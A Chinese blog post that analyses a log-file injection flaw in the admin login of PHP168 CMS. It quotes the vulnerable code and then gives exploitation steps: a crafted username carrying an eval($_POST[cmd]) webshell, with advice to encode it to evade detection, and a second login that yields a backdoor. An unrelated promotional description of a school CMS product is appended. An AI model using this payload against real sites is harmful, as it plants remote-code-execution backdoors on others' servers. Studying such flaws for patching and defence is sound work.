PHP168 CMS的一次新异漏洞分析

admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞
if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
die("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]/t".mymd5($rs[password]);
//@include(PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}

我们看这一段,
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){

如果用户名与密码不对,也一样写入(login_logs),我们跟下这个函数
function login_logs($username,$password){
global $timestamp,$onlineip;
$logdb[]="$username/t$password/t$timestamp/t$onlineip";
@include(PHP168_PATH."cache/adminlogin_logs.php");
$writefile="<?php /r/n";
$jj=0;
foreach($logdb AS $key=>$value){
$jj++;
$writefile.="/$logdb[]=/"$value/";/r/n";

if($jj>200){
break;
}
}
write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
}

漏洞出来了,我们先看这一句,$writefile="<?php /r/n"; $writefile这个变量总是会用PHP文件的"<?php"来开始,也就是说被写入的文件一定是PHP文件,这样子才能被include来使用,关键点了!!!!为了include,这个漏洞就产生了,foreach($logdb AS $key=>$value) 这里是遍历循环一个数组,面这个数组值并不是唯一由登录时传入的用户名与密码产生的数组,而是由include包含的以前登录过的用户名与密码一起联合成的数组!!!就是因为include这里包含,当include里面包含时,如果里面有"/""(反邪扛后面跟一个双引号),那们里面的反邪扛就起作用了,比如里面的数组是
$logdb[]="/"?>;<?phpinfo?> usual 1184814802 192.168.128.192";

当他被include后,就会变成
$logdb[]=""?>;<?phpinfo?> usual 1184814802 192.168.128.192";

这样子就可以B合前面的一个双引了
OK,这个漏洞还是比较有意思的,比一般的SQL注入等有新意思,所以就分析下了.

好我,明白原理了,大家也知道如何利用了吧?

第一次,我们在用户名与密码那里登录分别提交
/"?>;<?eval($_POST[cmd])?> ******( 密码随便乱写)
(最好把<?eval($_POST[cmd])?>先base64再gzdeflate)

第二次我们只要随便输入用户名与密码,就可以成功拿到一个一句话后门了

总结: 文件包含可以让自动过滤掉反邪扛,是php的BUG还是?

PS:此漏洞已经有有公布过,但未公布其中原理,今天无意中看到发现者(忘记是谁了)对此漏洞的描述,加班无聊就分析了下  
国微CMS学校网站系统是一个以php MySQL进行开发的学校网站系统。国微学校方案重点为大学、中学、技校提供高性能解决方案,可快速将学校信息化迈入实用高效的水平。功能包括:精品课程系统、录取查询系统、学籍查询系统、教 师名录查询系统、招生系统、文章模块、视频模块、图片模块、下载模块、问答系统、表单系统、在线办事系统、广告模块、服务反馈体系、手机群发平台、邮件群 发平台、用户体系、在线招聘平台、留言本等模块。 国微CMS学校网站系统(PHP168 S系列) v20180925 更新日志 1、新增可以自由开启内网和外网访问。 2、新增了每个栏目IP访问、内容IP访问控制。 3、搜索集约化处理;更加方便方向代理。 4、cook进行了加密。 5、其余10余项项目此安全优化。 国微CMS学校网站系统注意事项 1、后台超管添加附件类型得到控制,只允许 rar zip png jpg gif swf pdf doc docx xls xlsx mp4 flv CSV常规附件类型 2、后台编辑模板方面,如果网站完成,我们通过上传一个配置文件,就关闭掉后台编辑模板功能。如果要开启,需要进入服务器,开启才行。类似强制登陆那种模式。 3、后台登陆可以开启不断变化的验证码(安全码也保留)。 4、后台密码必须要8位(不影响现在的密码体系前提下,因为很多超管密码给分站管理员后,都改为简单容易记住的) 国微CMS学校网站系统功能 系统体系化 模块化体系:所有功能均已系统化、模块化、插件化,如CMS、问答、广告、标签 用户体系: 不仅区分企业、个人,并可自由添加角色组与角色,使其用户体系与实体一致。 权限体系: 所有功能模块封装并与权限匹配,可以细化至栏目对接角色管理权限。 标签体系: 常规标签、变量标签、标签后缀、标签缓存体系等已全面实施。 模板体系: 从方案模板、会员中心、系统模块模板、栏目、列表页面、内容页完全可独立选择。 积分体系: 积分兑换、积分消费、积分规则等已经开始在系统内实施。 菜单体系: 后台菜单、前台菜单、会员中心菜单均可自由添加和控制。 安全体系: 支持IP黑名单、白名单、支持防CC攻击、支持批量过滤敏感词汇。 通讯体系: 手机模块、邮件模块、短消息模块均已做成接口模式,任意功能均可方便调用。 程序整合体系:将支持PHPwind、UC、PHP168自身等系统整合,同时互动百科也将整合。   易用性: A、全部前台可视化操作,可视即可操作。 B、一键化应用:如一键安装、一键缓存、一键静态、一键更换模板。 C、标签样式不断增加,只需用鼠标选择想用的样式即可。 D、自由组装和拆卸模块与插件。 E、掌握时间1小时学会建站。 国微CMS学校网站系统前台页面 国微CMS学校网站系统后台管理 后台登陆路径:域名/admin.php  后台登陆用户名与密码是在安装过程中设置的,要谨记 后台页面   相关阅读 同类推荐:站长常用源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值